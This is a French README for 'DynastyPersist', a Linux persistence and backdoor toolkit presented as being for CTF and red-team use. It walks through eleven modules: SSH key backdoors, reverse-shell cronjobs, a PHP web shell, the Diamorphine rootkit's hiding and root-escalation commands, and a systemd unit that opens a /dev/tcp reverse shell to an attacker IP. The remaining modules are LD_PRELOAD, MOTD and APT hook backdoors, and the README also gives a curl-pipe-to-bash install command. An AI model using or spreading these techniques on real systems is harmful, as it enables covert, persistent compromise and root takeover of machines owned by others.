
Kit de persistance Linux avec 11 modules pour backdoors SSH, cronjobs, services systemd, rootkits LKM et escalade de privilèges via LD_PRELOAD. Conçu pour les compétitions CTF et les opérations d'équipe rouge.

Obtenez un accès à un serveur en utilisant la génération de clé ssh. Ce module crée une clé id_rsa pour chaque utilisateur. Elle peut être utilisée pour un accès inversé. Après avoir exécuté ce module, l'attaquant peut se connecter au serveur via ssh.
Cela peut être fait manuellement avec la commande ssh-keygen. Cependant, le module crée une clé privée pour chaque utilisateur en un rien de temps.
root@kali ~ ssh -i id_rsa [email protected]
1Les cronjobs sous Linux sont des tâches planifiées qui s'exécutent automatiquement à intervalles réguliers.
L'un des modules les plus efficaces, impliquant des shells inversés. Ce module écrit directement des commandes de shell inversé dans /etc/crontab. Cela ouvrira un shell sur le port que vous écoutez.
root@kali ~ nc -nvlp 9999
2ssh.root@kali ~ ssh [email protected]
3Ce module est fourni avec un script php hébergé dans le répertoire racine web. Le script se trouve dans /var/www/html/dynasty_rce/rce.php. De plus, le préfixe dynasty_rce peut être masqué si le module LKM est exécuté au préalable.
Visiter victim_ip:port/dynasty_rce/rce.php vous donnera la possibilité d'exécuter des commandes dans le shell.
Numéro du module : 4
LKM open-source appelé Diamorphine. Le module se trouve dans /var/tmp/.memory comme emplacement temporaire. Ce répertoire est supprimé après la mise en place du module.victim@ubuntu ~ kill -64 0 # Promtes to root user.
victim@ubuntu ~ mkdir dynasty_persist # Any directory starting with dynasty will be hidden.
victim@ubuntu ~ kill -31 <process> # Hides processors
victim@ubuntu ~ lsmod | grep -i diamorphine # Hides itself
victim@ubuntu ~ kill -63 0 # Make it appear in lsmod output
5find ou cat.root@kali ~ nc -nvlp 9999
6Un module qui crée un service personnalisé dans systemd pour un accès inversé.
Un exemple :
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
L'exemple ci-dessus sera créé en tant que service. Cette méthode est efficace et durable.
Numéro du module : 7
LD_PRELOAD est une variable d'environnement sous Linux qui permet aux utilisateurs de précharger une bibliothèque partagée avant d'autres bibliothèques. L'escalade de privilèges via LD_PRELOAD implique le chargement d'une bibliothèque malveillante pour intercepter et modifier les appels système, permettant potentiellement d'obtenir des privilèges élevés. Le module backdoor des commandes comme find et wget.
Numéro du module : 8
Le « Message du jour » (MOTD) sous Linux est un texte personnalisable affiché aux utilisateurs lors de la connexion, fournissant des informations ou des mises à jour sur le système. Il est généralement stocké dans le fichier /etc/motd et peut être modifié par les administrateurs système.
Ce module écrit un shell dans /etc/update-motd.d/00-header. Cela est généralement déclenché lorsqu'un utilisateur se connecte.
Numéro du module : 9
Similaire au module 7, celui-ci modifie un service existant pour un accès inversé.
Simplement, il réécrit le ExecStartPre dans le service en une commande de shell inversé.
Numéro du module : 10
« APT » signifie Advanced Package Tool, et il est couramment utilisé dans les systèmes basés sur Debian comme Ubuntu. Le fichier se trouvera ici : /etc/apt/apt.conf.d/42backdoor
Backdoor la commande apt, chaque fois que apt est exécuté, un shell s'ouvre.
Numéro du module : 11
Actuellement, 2 modes sont disponibles dans la dernière mise à jour (1.4).
Les modes sont console et ctf, conçus pour fonctionner avec un comportement spécifique.
En comparaison, le mode console offre plus de fonctionnalités et de stabilité que le mode ctf.
Le mode console lance l'outil dans sa configuration habituelle, avec toutes les fonctionnalités. Ces fonctionnalités s'exécutent localement sur l'hôte local où le script est exécuté. Conçu pour une persistance dans les opérations en temps réel.
Le préfixe use suivi du numéro du module sera utilisé pour exécuter n'importe quel module sélectionné. Par exemple, use 1
De plus, l'interface est mise à jour : les modules/payloads sont désormais visibles lorsque vous tapez show payloads.
Enfin, le menu d'aide/options est également modifié ; entrez show options pour le visualiser.
Le mode ctf est une fonctionnalité supplémentaire pour se connecter à un serveur compromis via SSH et obtenir une persistance. Ce module complémentaire aidera beaucoup dans KoTH ou Battlegrounds. De plus, cela fera gagner beaucoup de temps consacré à la mise en place de la persistance.
Exécute la plupart des fonctions de console.
$ ./dynasty.sh <lhost> <lport> <mode>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
Via Git
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
Via Curl
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash
| Fonctionnalités | Description |
|---|
| Génération de clé SSH | Génère automatiquement des clés SSH pour un accès discret. |
| Persistance via Cronjob | Met en place des cronjobs pour une persistance planifiée. |
| Utilisateur personnalisé avec droits root | Crée un utilisateur personnalisé avec privilèges root. |
| Persistance par exécution de code à distance | Obtient une persistance via l'exécution de code à distance. |
| Rootkit LKM | Démontre une persistance par rootkit basé sur un module noyau Linux (LKM). |
| Persistance via Bashrc | Modifie les fichiers d'initialisation du shell de l'utilisateur pour persistance (alias / shells inversés). |
| Service Systemd pour root | Met en place un service systemd pour obtenir une persistance root. |
| Configuration d'escalade de privilèges LD_PRELOAD | Configure LD_PRELOAD pour l'escalade de privilèges. |
| Backdoor dans Message du jour / En-tête | Backdoor l'affichage du message système pour un accès discret. |
| Modifier un service Systemd existant | Manipule un service systemd existant pour persistance. |
| Backdoor dans la commande APT | Backdoor la commande apt pour faire apparaître un shell. |